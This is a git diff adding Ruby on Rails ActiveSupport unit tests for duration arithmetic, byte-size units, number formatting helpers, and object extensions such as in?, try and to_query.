+ assert_equal @now + 22.9, @now + 22.9.seconds
+ assert_equal @now.advance(:days => 15), @now + 15.days
+ assert_equal @now.advance(:months => 1), @now + 1.month
+ assert_equal @dtnow.since(8), @dtnow + 8.seconds
+ assert_equal @dtnow.since(22.9), @dtnow + 22.9.seconds
+ assert_equal @dtnow.advance(:days => 15), @dtnow + 15.days
+ assert_equal @dtnow.advance(:months => 1), @dtnow + 1.month
+ end
+
+ def test_chaining_duration_operations
+ assert_equal @now.advance(:days => 2).advance(:months => -3), @now + 2.days - 3.months
+ assert_equal @now.advance(:days => 1).advance(:months => 2), @now + 1.day + 2.months
+ assert_equal @dtnow.advance(:days => 2).advance(:months => -3), @dtnow + 2.days - 3.months
+ assert_equal @dtnow.advance(:days => 1).advance(:months => 2), @dtnow + 1.day + 2.months
+ end
+
+ def test_duration_after_convertion_is_no_longer_accurate
+ assert_equal 30.days.to_i.since(@now), 1.month.to_i.since(@now)
+ assert_equal 365.25.days.to_f.since(@now), 1.year.to_f.since(@now)
+ assert_equal 30.days.to_i.since(@dtnow), 1.month.to_i.since(@dtnow)
+ assert_equal 365.25.days.to_f.since(@dtnow), 1.year.to_f.since(@dtnow)
+ end
+
+ def test_add_one_year_to_leap_day
+ assert_equal Time.utc(2005,2,28,15,15,10), Time.utc(2004,2,29,15,15,10) + 1.year
+ assert_equal DateTime.civil(2005,2,28,15,15,10), DateTime.civil(2004,2,29,15,15,10) + 1.year
+ end
+
+ def test_since_and_ago_anchored_to_time_now_when_time_zone_is_not_set
+ Time.zone = nil
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(2000)
+ # since
+ assert_equal false, 5.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.local(2000,1,1,0,0,5), 5.since
+ # ago
+ assert_equal false, 5.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.local(1999,12,31,23,59,55), 5.ago
+ end
+ end
+
+ def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_is_set
+ Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(2000)
+ # since
+ assert_equal true, 5.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.utc(2000,1,1,0,0,5), 5.since.time
+ assert_equal 'Eastern Time (US & Canada)', 5.since.time_zone.name
+ # ago
+ assert_equal true, 5.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.utc(1999,12,31,23,59,55), 5.ago.time
+ assert_equal 'Eastern Time (US & Canada)', 5.ago.time_zone.name
+ end
+ ensure
+ Time.zone = nil
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
+
+class NumericExtDateTest < ActiveSupport::TestCase
+ def setup
+ @today = Date.today
+ end
+
+ def test_date_plus_duration
+ assert_equal @today + 1, @today + 1.day
+ assert_equal @today >> 1, @today + 1.month
+ assert_equal @today.to_time.since(1), @today + 1.second
+ assert_equal @today.to_time.since(60), @today + 1.minute
+ assert_equal @today.to_time.since(60*60), @today + 1.hour
+ end
+
+ def test_chaining_duration_operations
+ assert_equal @today.advance(:days => 2).advance(:months => -3), @today + 2.days - 3.months
+ assert_equal @today.advance(:days => 1).advance(:months => 2), @today + 1.day + 2.months
+ end
+
+ def test_add_one_year_to_leap_day
+ assert_equal Date.new(2005,2,28), Date.new(2004,2,29) + 1.year
+ end
+end
+
+class NumericExtSizeTest < ActiveSupport::TestCase
+ def test_unit_in_terms_of_another
+ assert_equal 1024.bytes, 1.kilobyte
+ assert_equal 1024.kilobytes, 1.megabyte
+ assert_equal 3584.0.kilobytes, 3.5.megabytes
+ assert_equal 3584.0.megabytes, 3.5.gigabytes
+ assert_equal 1.kilobyte ** 4, 1.terabyte
+ assert_equal 1024.kilobytes + 2.megabytes, 3.megabytes
+ assert_equal 2.gigabytes / 4, 512.megabytes
+ assert_equal 256.megabytes * 20 + 5.gigabytes, 10.gigabytes
+ assert_equal 1.kilobyte ** 5, 1.petabyte
+ assert_equal 1.kilobyte ** 6, 1.exabyte
+ end
+
+ def test_units_as_bytes_independently
+ assert_equal 3145728, 3.megabytes
+ assert_equal 3145728, 3.megabyte
+ assert_equal 3072, 3.kilobytes
+ assert_equal 3072, 3.kilobyte
+ assert_equal 3221225472, 3.gigabytes
+ assert_equal 3221225472, 3.gigabyte
+ assert_equal 3298534883328, 3.terabytes
+ assert_equal 3298534883328, 3.terabyte
+ assert_equal 3377699720527872, 3.petabytes
+ assert_equal 3377699720527872, 3.petabyte
+ assert_equal 3458764513820540928, 3.exabytes
+ assert_equal 3458764513820540928, 3.exabyte
+ end
+end
+
+class NumericExtFormattingTest < ActiveSupport::TestCase
+ def kilobytes(number)
+ number * 1024
+ end
+
+ def megabytes(number)
+ kilobytes(number) * 1024
+ end
+
+ def gigabytes(number)
+ megabytes(number) * 1024
+ end
+
+ def terabytes(number)
+ gigabytes(number) * 1024
+ end
+
+ def test_to_s__phone
+ assert_equal("555-1234", 5551234.to_s(:phone))
+ assert_equal("800-555-1212", 8005551212.to_s(:phone))
+ assert_equal("(800) 555-1212", 8005551212.to_s(:phone, :area_code => true))
+ assert_equal("800 555 1212", 8005551212.to_s(:phone, :delimiter => " "))
+ assert_equal("(800) 555-1212 x 123", 8005551212.to_s(:phone, :area_code => true, :extension => 123))
+ assert_equal("800-555-1212", 8005551212.to_s(:phone, :extension => " "))
+ assert_equal("555.1212", 5551212.to_s(:phone, :delimiter => '.'))
+ assert_equal("+1-800-555-1212", 8005551212.to_s(:phone, :country_code => 1))
+ assert_equal("+18005551212", 8005551212.to_s(:phone, :country_code => 1, :delimiter => ''))
+ assert_equal("22-555-1212", 225551212.to_s(:phone))
+ assert_equal("+45-22-555-1212", 225551212.to_s(:phone, :country_code => 45))
+ end
+
+ def test_to_s__currency
+ assert_equal("$1,234,567,890.50", 1234567890.50.to_s(:currency))
+ assert_equal("$1,234,567,890.51", 1234567890.506.to_s(:currency))
+ assert_equal("-$1,234,567,890.50", -1234567890.50.to_s(:currency))
+ assert_equal("-$ 1,234,567,890.50", -1234567890.50.to_s(:currency, :format => "%u %n"))
+ assert_equal("($1,234,567,890.50)", -1234567890.50.to_s(:currency, :negative_format => "(%u%n)"))
+ assert_equal("$1,234,567,892", 1234567891.50.to_s(:currency, :precision => 0))
+ assert_equal("$1,234,567,890.5", 1234567890.50.to_s(:currency, :precision => 1))
+ assert_equal("£1234567890,50", 1234567890.50.to_s(:currency, :unit => "£", :separator => ",", :delimiter => ""))
+ end
+
+
+ def test_to_s__rounded
+ assert_equal("-111.235", -111.2346.to_s(:rounded))
+ assert_equal("111.235", 111.2346.to_s(:rounded))
+ assert_equal("31.83", 31.825.to_s(:rounded, :precision => 2))
+ assert_equal("111.23", 111.2346.to_s(:rounded, :precision => 2))
+ assert_equal("111.00", 111.to_s(:rounded, :precision => 2))
+ assert_equal("3268", (32.6751 * 100.00).to_s(:rounded, :precision => 0))
+ assert_equal("112", 111.50.to_s(:rounded, :precision => 0))
+ assert_equal("1234567892", 1234567891.50.to_s(:rounded, :precision => 0))
+ assert_equal("0", 0.to_s(:rounded, :precision => 0))
+ assert_equal("0.00100", 0.001.to_s(:rounded, :precision => 5))
+ assert_equal("0.001", 0.00111.to_s(:rounded, :precision => 3))
+ assert_equal("10.00", 9.995.to_s(:rounded, :precision => 2))
+ assert_equal("11.00", 10.995.to_s(:rounded, :precision => 2))
+ assert_equal("0.00", -0.001.to_s(:rounded, :precision => 2))
+ end
+
+ def test_to_s__percentage
+ assert_equal("100.000%", 100.to_s(:percentage))
+ assert_equal("100%", 100.to_s(:percentage, :precision => 0))
+ assert_equal("302.06%", 302.0574.to_s(:percentage, :precision => 2))
+ assert_equal("123.4%", 123.400.to_s(:percentage, :precision => 3, :strip_insignificant_zeros => true))
+ assert_equal("1.000,000%", 1000.to_s(:percentage, :delimiter => '.', :separator => ','))
+ assert_equal("1000.000 %", 1000.to_s(:percentage, :format => "%n %"))
+ end
+
+ def test_to_s__delimited
+ assert_equal("12,345,678", 12345678.to_s(:delimited))
+ assert_equal("0", 0.to_s(:delimited))
+ assert_equal("123", 123.to_s(:delimited))
+ assert_equal("123,456", 123456.to_s(:delimited))
+ assert_equal("123,456.78", 123456.78.to_s(:delimited))
+ assert_equal("123,456.789", 123456.789.to_s(:delimited))
+ assert_equal("123,456.78901", 123456.78901.to_s(:delimited))
+ assert_equal("123,456,789.78901", 123456789.78901.to_s(:delimited))
+ assert_equal("0.78901", 0.78901.to_s(:delimited))
+ end
+
+ def test_to_s__delimited__with_options_hash
+ assert_equal '12 345 678', 12345678.to_s(:delimited, :delimiter => ' ')
+ assert_equal '12,345,678-05', 12345678.05.to_s(:delimited, :separator => '-')
+ assert_equal '12.345.678,05', 12345678.05.to_s(:delimited, :separator => ',', :delimiter => '.')
+ assert_equal '12.345.678,05', 12345678.05.to_s(:delimited, :delimiter => '.', :separator => ',')
+ end
+
+
+ def test_to_s__rounded_with_custom_delimiter_and_separator
+ assert_equal '31,83', 31.825.to_s(:rounded, :precision => 2, :separator => ',')
+ assert_equal '1.231,83', 1231.825.to_s(:rounded, :precision => 2, :separator => ',', :delimiter => '.')
+ end
+
+ def test_to_s__rounded__with_significant_digits
+ assert_equal "124000", 123987.to_s(:rounded, :precision => 3, :significant => true)
+ assert_equal "120000000", 123987876.to_s(:rounded, :precision => 2, :significant => true )
+ assert_equal "9775", 9775.to_s(:rounded, :precision => 4, :significant => true )
+ assert_equal "5.4", 5.3923.to_s(:rounded, :precision => 2, :significant => true )
+ assert_equal "5", 5.3923.to_s(:rounded, :precision => 1, :significant => true )
+ assert_equal "1", 1.232.to_s(:rounded, :precision => 1, :significant => true )
+ assert_equal "7", 7.to_s(:rounded, :precision => 1, :significant => true )
+ assert_equal "1", 1.to_s(:rounded, :precision => 1, :significant => true )
+ assert_equal "53", 52.7923.to_s(:rounded, :precision => 2, :significant => true )
+ assert_equal "9775.00", 9775.to_s(:rounded, :precision => 6, :significant => true )
+ assert_equal "5.392900", 5.3929.to_s(:rounded, :precision => 7, :significant => true )
+ assert_equal "0.0", 0.to_s(:rounded, :precision => 2, :significant => true )
+ assert_equal "0", 0.to_s(:rounded, :precision => 1, :significant => true )
+ assert_equal "0.0001", 0.0001.to_s(:rounded, :precision => 1, :significant => true )
+ assert_equal "0.000100", 0.0001.to_s(:rounded, :precision => 3, :significant => true )
+ assert_equal "0.0001", 0.0001111.to_s(:rounded, :precision => 1, :significant => true )
+ assert_equal "10.0", 9.995.to_s(:rounded, :precision => 3, :significant => true)
+ assert_equal "9.99", 9.994.to_s(:rounded, :precision => 3, :significant => true)
+ assert_equal "11.0", 10.995.to_s(:rounded, :precision => 3, :significant => true)
+ end
+
+ def test_to_s__rounded__with_strip_insignificant_zeros
+ assert_equal "9775.43", 9775.43.to_s(:rounded, :precision => 4, :strip_insignificant_zeros => true )
+ assert_equal "9775.2", 9775.2.to_s(:rounded, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
+ assert_equal "0", 0.to_s(:rounded, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
+ end
+
+ def test_to_s__rounded__with_significant_true_and_zero_precision
+ # Zero precision with significant is a mistake (would always return zero),
+ # so we treat it as if significant was false (increases backwards compatibility for number_to_human_size)
+ assert_equal "124", 123.987.to_s(:rounded, :precision => 0, :significant => true)
+ assert_equal "12", 12.to_s(:rounded, :precision => 0, :significant => true )
+ end
+
+ def test_to_s__human_size
+ assert_equal '0 Bytes', 0.to_s(:human_size)
+ assert_equal '1 Byte', 1.to_s(:human_size)
+ assert_equal '3 Bytes', 3.14159265.to_s(:human_size)
+ assert_equal '123 Bytes', 123.0.to_s(:human_size)
+ assert_equal '123 Bytes', 123.to_s(:human_size)
+ assert_equal '1.21 KB', 1234.to_s(:human_size)
+ assert_equal '12.1 KB', 12345.to_s(:human_size)
+ assert_equal '1.18 MB', 1234567.to_s(:human_size)
+ assert_equal '1.15 GB', 1234567890.to_s(:human_size)
+ assert_equal '1.12 TB', 1234567890123.to_s(:human_size)
+ assert_equal '1030 TB', terabytes(1026).to_s(:human_size)
+ assert_equal '444 KB', kilobytes(444).to_s(:human_size)
+ assert_equal '1020 MB', megabytes(1023).to_s(:human_size)
+ assert_equal '3 TB', terabytes(3).to_s(:human_size)
+ assert_equal '1.2 MB', 1234567.to_s(:human_size, :precision => 2)
+ assert_equal '3 Bytes', 3.14159265.to_s(:human_size, :precision => 4)
+ assert_equal '1 KB', kilobytes(1.0123).to_s(:human_size, :precision => 2)
+ assert_equal '1.01 KB', kilobytes(1.0100).to_s(:human_size, :precision => 4)
+ assert_equal '10 KB', kilobytes(10.000).to_s(:human_size, :precision => 4)
+ assert_equal '1 Byte', 1.1.to_s(:human_size)
+ assert_equal '10 Bytes', 10.to_s(:human_size)
+ end
+
+ def test_to_s__human_size_with_si_prefix
+ assert_equal '3 Bytes', 3.14159265.to_s(:human_size, :prefix => :si)
+ assert_equal '123 Bytes', 123.0.to_s(:human_size, :prefix => :si)
+ assert_equal '123 Bytes', 123.to_s(:human_size, :prefix => :si)
+ assert_equal '1.23 KB', 1234.to_s(:human_size, :prefix => :si)
+ assert_equal '12.3 KB', 12345.to_s(:human_size, :prefix => :si)
+ assert_equal '1.23 MB', 1234567.to_s(:human_size, :prefix => :si)
+ assert_equal '1.23 GB', 1234567890.to_s(:human_size, :prefix => :si)
+ assert_equal '1.23 TB', 1234567890123.to_s(:human_size, :prefix => :si)
+ end
+
+ def test_to_s__human_size_with_options_hash
+ assert_equal '1.2 MB', 1234567.to_s(:human_size, :precision => 2)
+ assert_equal '3 Bytes', 3.14159265.to_s(:human_size, :precision => 4)
+ assert_equal '1 KB', kilobytes(1.0123).to_s(:human_size, :precision => 2)
+ assert_equal '1.01 KB', kilobytes(1.0100).to_s(:human_size, :precision => 4)
+ assert_equal '10 KB', kilobytes(10.000).to_s(:human_size, :precision => 4)
+ assert_equal '1 TB', 1234567890123.to_s(:human_size, :precision => 1)
+ assert_equal '500 MB', 524288000.to_s(:human_size, :precision=>3)
+ assert_equal '10 MB', 9961472.to_s(:human_size, :precision=>0)
+ assert_equal '40 KB', 41010.to_s(:human_size, :precision => 1)
+ assert_equal '40 KB', 41100.to_s(:human_size, :precision => 2)
+ assert_equal '1.0 KB', kilobytes(1.0123).to_s(:human_size, :precision => 2, :strip_insignificant_zeros => false)
+ assert_equal '1.012 KB', kilobytes(1.0123).to_s(:human_size, :precision => 3, :significant => false)
+ assert_equal '1 KB', kilobytes(1.0123).to_s(:human_size, :precision => 0, :significant => true) #ignores significant it precision is 0
+ end
+
+ def test_to_s__human_size_with_custom_delimiter_and_separator
+ assert_equal '1,01 KB', kilobytes(1.0123).to_s(:human_size, :precision => 3, :separator => ',')
+ assert_equal '1,01 KB', kilobytes(1.0100).to_s(:human_size, :precision => 4, :separator => ',')
+ assert_equal '1.000,1 TB', terabytes(1000.1).to_s(:human_size, :precision => 5, :delimiter => '.', :separator => ',')
+ end
+
+ def test_number_to_human
+ assert_equal '-123', -123.to_s(:human)
+ assert_equal '-0.5', -0.5.to_s(:human)
+ assert_equal '0', 0.to_s(:human)
+ assert_equal '0.5', 0.5.to_s(:human)
+ assert_equal '123', 123.to_s(:human)
+ assert_equal '1.23 Thousand', 1234.to_s(:human)
+ assert_equal '12.3 Thousand', 12345.to_s(:human)
+ assert_equal '1.23 Million', 1234567.to_s(:human)
+ assert_equal '1.23 Billion', 1234567890.to_s(:human)
+ assert_equal '1.23 Trillion', 1234567890123.to_s(:human)
+ assert_equal '1.23 Quadrillion', 1234567890123456.to_s(:human)
+ assert_equal '1230 Quadrillion', 1234567890123456789.to_s(:human)
+ assert_equal '490 Thousand', 489939.to_s(:human, :precision => 2)
+ assert_equal '489.9 Thousand', 489939.to_s(:human, :precision => 4)
+ assert_equal '489 Thousand', 489000.to_s(:human, :precision => 4)
+ assert_equal '489.0 Thousand', 489000.to_s(:human, :precision => 4, :strip_insignificant_zeros => false)
+ assert_equal '1.2346 Million', 1234567.to_s(:human, :precision => 4, :significant => false)
+ assert_equal '1,2 Million', 1234567.to_s(:human, :precision => 1, :significant => false, :separator => ',')
+ assert_equal '1 Million', 1234567.to_s(:human, :precision => 0, :significant => true, :separator => ',') #significant forced to false
+ end
+
+ def test_number_to_human_with_custom_units
+ #Only integers
+ volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
+ assert_equal '123 lt', 123456.to_s(:human, :units => volume)
+ assert_equal '12 ml', 12.to_s(:human, :units => volume)
+ assert_equal '1.23 m3', 1234567.to_s(:human, :units => volume)
+
+ #Including fractionals
+ distance = {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+ assert_equal '1.23 mm', 0.00123.to_s(:human, :units => distance)
+ assert_equal '1.23 cm', 0.0123.to_s(:human, :units => distance)
+ assert_equal '1.23 dm', 0.123.to_s(:human, :units => distance)
+ assert_equal '1.23 m', 1.23.to_s(:human, :units => distance)
+ assert_equal '1.23 dam', 12.3.to_s(:human, :units => distance)
+ assert_equal '1.23 hm', 123.to_s(:human, :units => distance)
+ assert_equal '1.23 km', 1230.to_s(:human, :units => distance)
+ assert_equal '1.23 km', 1230.to_s(:human, :units => distance)
+ assert_equal '1.23 km', 1230.to_s(:human, :units => distance)
+ assert_equal '12.3 km', 12300.to_s(:human, :units => distance)
+
+ #The quantifiers don't need to be a continuous sequence
+ gangster = {:hundred => "hundred bucks", :million => "thousand quids"}
+ assert_equal '1 hundred bucks', 100.to_s(:human, :units => gangster)
+ assert_equal '25 hundred bucks', 2500.to_s(:human, :units => gangster)
+ assert_equal '25 thousand quids', 25000000.to_s(:human, :units => gangster)
+ assert_equal '12300 thousand quids', 12345000000.to_s(:human, :units => gangster)
+
+ #Spaces are stripped from the resulting string
+ assert_equal '4', 4.to_s(:human, :units => {:unit => "", :ten => 'tens '})
+ assert_equal '4.5 tens', 45.to_s(:human, :units => {:unit => "", :ten => ' tens '})
+ end
+
+ def test_number_to_human_with_custom_format
+ assert_equal '123 times Thousand', 123456.to_s(:human, :format => "%n times %u")
+ volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
+ assert_equal '123.lt', 123456.to_s(:human, :units => volume, :format => "%n.%u")
+ end
+
+ def test_to_s__injected_on_proper_types
+ assert_equal Fixnum, 1230.class
+ assert_equal '1.23 Thousand', 1230.to_s(:human)
+
+ assert_equal Float, Float(1230).class
+ assert_equal '1.23 Thousand', Float(1230).to_s(:human)
+
+ assert_equal Bignum, (100**10).class
+ assert_equal '100000 Quadrillion', (100**10).to_s(:human)
+
+ assert_equal BigDecimal, BigDecimal("1000010").class
+ assert_equal '1 Million', BigDecimal("1000010").to_s(:human)
+ end
+end
+
+class NumericExtBehaviorTest < ActiveSupport::TestCase
+ def setup
+ @inf = BigDecimal.new('Infinity')
+ end
+
+ def test_compare_infinity_with_date
+ assert_equal(-1, -Float::INFINITY <=> Date.today)
+ assert_equal(1, Float::INFINITY <=> Date.today)
+ assert_equal(-1, - at inf <=> Date.today)
+ assert_equal(1, @inf <=> Date.today)
+ end
+
+ def test_compare_infinty_with_infinty
+ assert_equal(-1, -Float::INFINITY <=> Float::INFINITY)
+ assert_equal(1, Float::INFINITY <=> -Float::INFINITY)
+ assert_equal(0, Float::INFINITY <=> Float::INFINITY)
+ assert_equal(0, -Float::INFINITY <=> -Float::INFINITY)
+
+ assert_equal(-1, -Float::INFINITY <=> BigDecimal::INFINITY)
+ assert_equal(1, Float::INFINITY <=> -BigDecimal::INFINITY)
+ assert_equal(0, Float::INFINITY <=> BigDecimal::INFINITY)
+ assert_equal(0, -Float::INFINITY <=> -BigDecimal::INFINITY)
+
+ assert_equal(-1, -BigDecimal::INFINITY <=> Float::INFINITY)
+ assert_equal(1, BigDecimal::INFINITY <=> -Float::INFINITY)
+ assert_equal(0, BigDecimal::INFINITY <=> Float::INFINITY)
+ assert_equal(0, -BigDecimal::INFINITY <=> -Float::INFINITY)
+ end
+
+ def test_compare_infinity_with_time
+ assert_equal(-1, -Float::INFINITY <=> Time.now)
+ assert_equal(1, Float::INFINITY <=> Time.now)
+ assert_equal(-1, - at inf <=> Time.now)
+ assert_equal(1, @inf <=> Time.now)
+ end
+
+ def test_compare_infinity_with_datetime
+ assert_equal(-1, -Float::INFINITY <=> DateTime.now)
+ assert_equal(1, Float::INFINITY <=> DateTime.now)
+ assert_equal(-1, - at inf <=> DateTime.now)
+ assert_equal(1, @inf <=> DateTime.now)
+ end
+
+ def test_compare_infinity_with_twz
+ time_zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = ActiveSupport::TimeWithZone.new(Time.now, time_zone)
+
+ assert_equal(-1, -Float::INFINITY <=> twz)
+ assert_equal(1, Float::INFINITY <=> twz)
+ assert_equal(-1, - at inf <=> twz)
+ assert_equal(1, @inf <=> twz)
+ end
+end
diff --git a/activesupport/test/core_ext/object/inclusion_test.rb b/activesupport/test/core_ext/object/inclusion_test.rb
new file mode 100644
index 0000000..2288833
--- /dev/null
+++ b/activesupport/test/core_ext/object/inclusion_test.rb
@@ -0,0 +1,60 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object/inclusion'
+
+class InTest < ActiveSupport::TestCase
+ def test_in_multiple_args
+ assert :b.in?(:a,:b)
+ assert !:c.in?(:a,:b)
+ end
+
+ def test_in_multiple_arrays
+ assert [1,2].in?([1,2],[2,3])
+ assert ![1,2].in?([1,3],[2,1])
+ end
+
+ def test_in_array
+ assert 1.in?([1,2])
+ assert !3.in?([1,2])
+ end
+
+ def test_in_hash
+ h = { "a" => 100, "b" => 200 }
+ assert "a".in?(h)
+ assert !"z".in?(h)
+ end
+
+ def test_in_string
+ assert "lo".in?("hello")
+ assert !"ol".in?("hello")
+ assert ?h.in?("hello")
+ end
+
+ def test_in_range
+ assert 25.in?(1..50)
+ assert !75.in?(1..50)
+ end
+
+ def test_in_set
+ s = Set.new([1,2])
+ assert 1.in?(s)
+ assert !3.in?(s)
+ end
+
+ module A
+ end
+ class B
+ include A
+ end
+ class C < B
+ end
+
+ def test_in_module
+ assert A.in?(B)
+ assert A.in?(C)
+ assert !A.in?(A)
+ end
+
+ def test_no_method_catching
+ assert_raise(ArgumentError) { 1.in?(1) }
+ end
+end
diff --git a/activesupport/test/core_ext/object/to_param_test.rb b/activesupport/test/core_ext/object/to_param_test.rb
new file mode 100644
index 0000000..bd7c6c4
--- /dev/null
+++ b/activesupport/test/core_ext/object/to_param_test.rb
@@ -0,0 +1,19 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object/to_param'
+
+class ToParamTest < ActiveSupport::TestCase
+ def test_object
+ foo = Object.new
+ def foo.to_s; 'foo' end
+ assert_equal 'foo', foo.to_param
+ end
+
+ def test_nil
+ assert_nil nil.to_param
+ end
+
+ def test_boolean
+ assert_equal true, true.to_param
+ assert_equal false, false.to_param
+ end
+end
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
new file mode 100644
index 0000000..92f996f
--- /dev/null
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -0,0 +1,53 @@
+require 'abstract_unit'
+require 'active_support/ordered_hash'
+require 'active_support/core_ext/object/to_query'
+require 'active_support/core_ext/string/output_safety'
+
+class ToQueryTest < ActiveSupport::TestCase
+ def test_simple_conversion
+ assert_query_equal 'a=10', :a => 10
+ end
+
+ def test_cgi_escaping
+ assert_query_equal 'a%3Ab=c+d', 'a:b' => 'c d'
+ end
+
+ def test_html_safe_parameter_key
+ assert_query_equal 'a%3Ab=c+d', 'a:b'.html_safe => 'c d'
+ end
+
+ def test_html_safe_parameter_value
+ assert_query_equal 'a=%5B10%5D', 'a' => '[10]'.html_safe
+ end
+
+ def test_nil_parameter_value
+ empty = Object.new
+ def empty.to_param; nil end
+ assert_query_equal 'a=', 'a' => empty
+ end
+
+ def test_nested_conversion
+ assert_query_equal 'person%5Blogin%5D=seckar&person%5Bname%5D=Nicholas',
+ :person => Hash[:login, 'seckar', :name, 'Nicholas']
+ end
+
+ def test_multiple_nested
+ assert_query_equal 'account%5Bperson%5D%5Bid%5D=20&person%5Bid%5D=10',
+ Hash[:account, {:person => {:id => 20}}, :person, {:id => 10}]
+ end
+
+ def test_array_values
+ assert_query_equal 'person%5Bid%5D%5B%5D=10&person%5Bid%5D%5B%5D=20',
+ :person => {:id => [10, 20]}
+ end
+
+ def test_array_values_are_not_sorted
+ assert_query_equal 'person%5Bid%5D%5B%5D=20&person%5Bid%5D%5B%5D=10',
+ :person => {:id => [20, 10]}
+ end
+
+ private
+ def assert_query_equal(expected, actual)
+ assert_equal expected.split('&'), actual.to_query.split('&')
+ end
+end
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
new file mode 100644
index 0000000..8d74879
--- /dev/null
+++ b/activesupport/test/core_ext/object_and_class_ext_test.rb
@@ -0,0 +1,181 @@
+require 'abstract_unit'
+require 'active_support/time'
+require 'active_support/core_ext/object'
+require 'active_support/core_ext/class/subclasses'
+
+class ClassA; end
+class ClassB < ClassA; end
+class ClassC < ClassB; end
+class ClassD < ClassA; end
+
+class ClassI; end
+class ClassJ < ClassI; end
+
+class ClassK
+end
+module Nested
+ class << self
+ def on_const_missing(&callback)
+ @on_const_missing = callback
+ end
+ private
+ def const_missing(mod_id)
+ @on_const_missing[mod_id] if @on_const_missing
+ super
+ end
+ end
+ class ClassL < ClassK
+ end
+end
+
+class ObjectTests < ActiveSupport::TestCase
+ class DuckTime
+ def acts_like_time?
+ true
+ end
+ end
+
+ def test_duck_typing
+ object = Object.new
+ time = Time.now
+ date = Date.today
+ dt = DateTime.new
+ duck = DuckTime.new
+
+ assert !object.acts_like?(:time)
+ assert !object.acts_like?(:date)
+
+ assert time.acts_like?(:time)
+ assert !time.acts_like?(:date)
+
+ assert !date.acts_like?(:time)
+ assert date.acts_like?(:date)
+
+ assert dt.acts_like?(:time)
+ assert dt.acts_like?(:date)
+
+ assert duck.acts_like?(:time)
+ assert !duck.acts_like?(:date)
+ end
+end
+
+class ObjectInstanceVariableTest < ActiveSupport::TestCase
+ def setup
+ @source, @dest = Object.new, Object.new
+ @source.instance_variable_set(:@bar, 'bar')
+ @source.instance_variable_set(:@baz, 'baz')
+ end
+
+ def test_instance_variable_names
+ assert_equal %w(@bar @baz), @source.instance_variable_names.sort
+ end
+
+ def test_instance_values
+ object = Object.new
+ object.instance_variable_set :@a, 1
+ object.instance_variable_set :@b, 2
+ assert_equal({'a' => 1, 'b' => 2}, object.instance_values)
+ end
+
+ def test_instance_exec_passes_arguments_to_block
+ assert_equal %w(hello goodbye), 'hello'.instance_exec('goodbye') { |v| [self, v] }
+ end
+
+ def test_instance_exec_with_frozen_obj
+ assert_equal %w(olleh goodbye), 'hello'.freeze.instance_exec('goodbye') { |v| [reverse, v] }
+ end
+
+ def test_instance_exec_nested
+ assert_equal %w(goodbye olleh bar), 'hello'.instance_exec('goodbye') { |arg|
+ [arg] + instance_exec('bar') { |v| [reverse, v] } }
+ end
+end
+
+class ObjectTryTest < ActiveSupport::TestCase
+ def setup
+ @string = "Hello"
+ end
+
+ def test_nonexisting_method
+ method = :undefined_method
+ assert !@string.respond_to?(method)
+ assert_nil @string.try(method)
+ end
+
+ def test_nonexisting_method_with_arguments
+ method = :undefined_method
+ assert !@string.respond_to?(method)
+ assert_nil @string.try(method, 'llo', 'y')
+ end
+
+ def test_nonexisting_method_bang
+ method = :undefined_method
+ assert !@string.respond_to?(method)
+ assert_raise(NoMethodError) { @string.try!(method) }
+ end
+
+ def test_nonexisting_method_with_arguments_bang
+ method = :undefined_method
+ assert !@string.respond_to?(method)
+ assert_raise(NoMethodError) { @string.try!(method, 'llo', 'y') }
+ end
+
+ def test_try_only_block_bang
+ assert_equal @string.reverse, @string.try! { |s| s.reverse }
+ end
+
+ def test_valid_method
+ assert_equal 5, @string.try(:size)
+ end
+
+ def test_argument_forwarding
+ assert_equal 'Hey', @string.try(:sub, 'llo', 'y')
+ end
+
+ def test_block_forwarding
+ assert_equal 'Hey', @string.try(:sub, 'llo') { |match| 'y' }
+ end
+
+ def test_nil_to_type
+ assert_nil nil.try(:to_s)
+ assert_nil nil.try(:to_i)
+ end
+
+ def test_false_try
+ assert_equal 'false', false.try(:to_s)
+ end
+
+ def test_try_only_block
+ assert_equal @string.reverse, @string.try { |s| s.reverse }
+ end
+
+ def test_try_only_block_nil
+ ran = false
+ nil.try { ran = true }
+ assert_equal false, ran
+ end
+
+ def test_try_with_private_method_bang
+ klass = Class.new do
+ private
+
+ def private_method
+ 'private method'
+ end
+ end
+
+ assert_raise(NoMethodError) { klass.new.try!(:private_method) }
+ end
+
+ def test_try_with_private_method
+ klass = Class.new do
+ private
+
+ def private_method
+ 'private method'
+ end
+ end
+
+ assert_nil klass.new.try(:private_method)
+ end
+end
diff --git a/activesupport/test/core_ext/proc_test.rb b/activesupport/test/core_ext/proc_test.rb
new file mode 100644
index 0000000..c4d5592
--- /dev/null
+++ b/activesupport/test/core_ext/proc_test.rb
@@ -0,0 +1,14 @@
+require 'abstract_unit'
+require 'active_support/core_ext/proc'
+
+class ProcTests < ActiveSupport::TestCase
+ def test_bind_returns_method_with_changed_self
+ assert_deprecated do
+ block = Proc.new { self }
+ assert_equal self, block.call
+ bound_block = block.bind("hello")
+ assert_not_equal block, bound_block
+ assert_equal "hello", bound_block.call
+ end
+ end
+end
